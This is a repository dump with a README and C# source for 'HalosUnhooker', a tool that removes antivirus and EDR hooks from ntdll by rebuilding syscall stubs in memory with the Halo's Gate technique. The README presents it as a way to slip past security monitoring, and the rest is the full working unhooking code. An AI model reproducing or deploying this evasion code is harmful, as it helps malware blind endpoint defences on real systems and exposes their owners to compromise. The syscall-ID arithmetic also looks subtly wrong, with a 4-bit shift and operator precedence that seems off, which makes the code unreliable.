├── README.md └── HalosUnhooker.cs /README.md: -------------------------------------------------------------------------------- 1 | # HalosUnhooker 2 | HalosUnhooker is an unhooker that will help you to remove AVs/EDRs hooks from NT API. Whats special about HalosUnhooker is that it uses Halo's Gate technique to get the original syscall ID of a hooked NT API which will be used to restore the NT API stub, effectively removing the hooks. Because HalosUnhooker uses Halo's Gate technique to get the original syscall ID, it doesnt touch anything from disk. The only way to break HalosUnhooker is to modify the NTDLL using [SyscallShuffler](https://github.com/GetRektBoy724/SyscallShuffler) since Halo's Gate technique relies on sorting/walking through the neighbouring syscall stubs, if the syscall stubs are shuffled, it cant get the correct syscall ID. 3 | 4 | # Demonstration 5 | We're going to use [NiceTryDLL](https://github.com/GetRektBoy724/NiceTryDLL)'s NtReadFile hook in this demonstration. 6 | 7 | https://user-images.githubusercontent.com/41237415/164456259-32b37028-1efa-4543-b318-dd5cc1594ffa.mp4 8 | 9 | As you can see, HalosUnhooker successfully removed the NiceTryDLL's hook on NtReadFile without getting caught by the NiceTryDLL itself since HalosUnhooker doesnt read anything from disk. 10 | -------------------------------------------------------------------------------- /HalosUnhooker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Linq; 4 | using System.IO; 5 | using System.Reflection; 6 | using System.Text; 7 | using System.Runtime.InteropServices; 8 | 9 | public class HalosUnhooker { 10 | 11 | [DllImport("kernel32.dll", SetLastError=true)] 12 | static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 13 | 14 | public static bool CheckStubIntegrity(byte[] stub) { 15 | return (stub[0] == 0x4c && stub[1] == 0x8b && stub[2] == 0xd1 && stub[3] == 0xb8 && stub[6] == 0x00 && stub[7] == 0x00 && stub[18] == 0x0f && stub[19] == 0x05); 16 | } 17 | 18 | public static bool Unhook(IntPtr ModuleBase) { 19 | if (ModuleBase == IntPtr.Zero) 20 | ModuleBase = (Process.GetCurrentProcess().Modules.Cast().Where(x => "ntdll.dll".Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress); 21 | 22 | try { 23 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 24 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 25 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 26 | Int64 pExport = 0; 27 | if (Magic == 0x010b) { 28 | pExport = OptHeader + 0x60; 29 | }else { 30 | pExport = OptHeader + 0x70; 31 | } 32 | 33 | // search for .TEXT section and change the memory protection 34 | uint oldProtect = 0; 35 | Int32 TextSectionSize = 0; 36 | Int32 TextSectionRVA = 0; 37 | IntPtr SectionHeaderBaseAddr = ModuleBase + Marshal.ReadInt32((IntPtr)(ModuleBase + 0x3C)) + 0x18 + Marshal.ReadInt16((IntPtr)(ModuleBase + Marshal.ReadInt32((IntPtr)(ModuleBase + 0x3C)) + 20)); 38 | Int16 NumberOfSections = Marshal.ReadInt16(ModuleBase + Marshal.ReadInt32((IntPtr)(ModuleBase + 0x3C)) + 6); 39 | for (int i = 0; i < NumberOfSections; i++) { 40 | IntPtr CurrentSectionHeaderAddr = SectionHeaderBaseAddr + (i * 40); 41 | string CurrentSectionHeaderName = Marshal.PtrToStringAnsi(CurrentSectionHeaderAddr); 42 | if (CurrentSectionHeaderName == ".text") { 43 | TextSectionSize = Marshal.ReadInt32(CurrentSectionHeaderAddr + 8); 44 | TextSectionRVA = Marshal.ReadInt32(CurrentSectionHeaderAddr + 12); 45 | VirtualProtect((IntPtr)(ModuleBase.ToInt64() + TextSectionRVA), (UIntPtr)TextSectionSize, 0x40, out oldProtect); 46 | break; 47 | } 48 | } 49 | 50 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 51 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 52 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 53 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 54 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 55 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 56 | 57 | for (int i = 0; i < NumberOfNames; i++) { 58 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 59 | if (!FunctionName.StartsWith("Nt") || FunctionName.StartsWith("Ntdll")) { 60 | continue; // skip Non-Nt functions 61 | } 62 | 63 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 64 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 65 | IntPtr FunctionAddress = (IntPtr)((Int64)ModuleBase + FunctionRVA); 66 | 67 | // copy function opcode 68 | byte[] FunctionOpcode = new byte[24]; 69 | Marshal.Copy(FunctionAddress, FunctionOpcode, 0, 24); 70 | if (!CheckStubIntegrity(FunctionOpcode)) { 71 | Int16 SyscallID = -1; 72 | // check for neighbouring syscall up 73 | for (int z = 1; z < 50; z++) { 74 | Marshal.Copy((FunctionAddress + (-32 * z)), FunctionOpcode, 0, 24); 75 | if (CheckStubIntegrity(FunctionOpcode)) { 76 | SyscallID = (Int16)(((byte)FunctionOpcode[5] << 4) | (byte)FunctionOpcode[4] + z); 77 | break; 78 | } 79 | } 80 | 81 | // check for neighbouring syscall down 82 | if (SyscallID == -1) { 83 | for (int z = 1; z < 50; z++) { 84 | Marshal.Copy((FunctionAddress + (32 * z)), FunctionOpcode, 0, 24); 85 | if (CheckStubIntegrity(FunctionOpcode)) { 86 | SyscallID = (Int16)(((byte)FunctionOpcode[5] << 4) | (byte)FunctionOpcode[4] - z); 87 | break; 88 | } 89 | } 90 | } 91 | 92 | // crafting the new stub 93 | byte[] newstub = new byte[24] { 94 | Convert.ToByte("4C", 16), Convert.ToByte("8B", 16), Convert.ToByte("D1", 16), 95 | Convert.ToByte("B8", 16), (byte)SyscallID, (byte)(SyscallID >> 8), Convert.ToByte("00", 16), Convert.ToByte("00", 16), 96 | Convert.ToByte("F6", 16), Convert.ToByte("04", 16), Convert.ToByte("25", 16), Convert.ToByte("08", 16), Convert.ToByte("03", 16), Convert.ToByte("FE", 16), Convert.ToByte("7F", 16), Convert.ToByte("01", 16), 97 | Convert.ToByte("75", 16), Convert.ToByte("03", 16), 98 | Convert.ToByte("0F", 16), Convert.ToByte("05", 16), 99 | Convert.ToByte("C3", 16), 100 | Convert.ToByte("CD", 16), Convert.ToByte("2E", 16), 101 | Convert.ToByte("C3", 16) 102 | }; 103 | 104 | // place the new stub to the address 105 | Marshal.Copy(newstub, 0, FunctionAddress, 24); 106 | } 107 | } 108 | 109 | // revert the memory protection of the .TEXT section 110 | uint newProtect = 0; 111 | VirtualProtect((IntPtr)(ModuleBase.ToInt64() + TextSectionRVA), (UIntPtr)TextSectionSize, oldProtect, out newProtect); 112 | } 113 | catch(Exception e) { 114 | Console.WriteLine("[HalosUnhooker] Exception : {0}", e.Message); 115 | return false; 116 | } 117 | return true; 118 | } 119 | } 120 | --------------------------------------------------------------------------------